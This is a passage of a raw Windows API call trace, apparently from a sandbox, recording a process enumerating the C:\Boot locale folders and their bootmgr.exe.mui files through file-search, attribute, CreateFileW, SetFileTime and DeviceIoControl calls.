ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.668] GetLastError () returned 0x12 [0226.668] FindFirstFileExW (in: lpFileName="C:\\Boot\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0226.668] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0226.668] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.668] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.668] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.669] GetLastError () returned 0x12 [0226.669] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0226.669] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0226.669] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0226.669] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.669] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0226.669] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.669] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0226.880] CreateFileW (lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0226.880] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0226.880] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0226.880] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0226.880] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0226.880] NtClose (Handle=0x1ac) returned 0x0 [0226.880] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.880] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.880] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0226.880] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0226.880] FindFirstFileExW (in: lpFileName="C:\\Boot\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0226.880] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.880] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3d88 [0226.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4afcf8 [0226.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.881] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.881] GetLastError () returned 0x12 [0226.881] FindFirstFileExW (in: lpFileName="C:\\Boot\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0226.881] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0226.881] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.881] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.881] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.881] GetLastError () returned 0x12 [0226.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0226.881] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0226.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0226.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.881] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0226.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.881] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0226.882] CreateFileW (lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0226.882] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0226.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0226.882] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0226.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0226.882] NtClose (Handle=0x170) returned 0x0 [0226.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0226.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0226.882] FindFirstFileExW (in: lpFileName="C:\\Boot\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0226.882] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.882] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3da8 [0226.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4afd80 [0226.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.883] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.883] GetLastError () returned 0x12 [0226.883] FindFirstFileExW (in: lpFileName="C:\\Boot\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0226.883] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0226.883] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.883] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.883] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.883] GetLastError () returned 0x12 [0226.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0226.883] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0226.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0226.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.883] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0226.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.884] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0226.977] CreateFileW (lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0226.977] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0226.977] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0226.978] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0226.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0226.978] NtClose (Handle=0x1ac) returned 0x0 [0226.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0226.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0226.978] FindFirstFileExW (in: lpFileName="C:\\Boot\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0226.978] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.978] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3dc8 [0226.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4a08 [0226.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.978] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.978] GetLastError () returned 0x12 [0226.978] FindFirstFileExW (in: lpFileName="C:\\Boot\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0226.978] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0226.979] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.979] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.979] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.979] GetLastError () returned 0x12 [0226.979] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0226.979] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0226.979] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0226.979] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.979] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 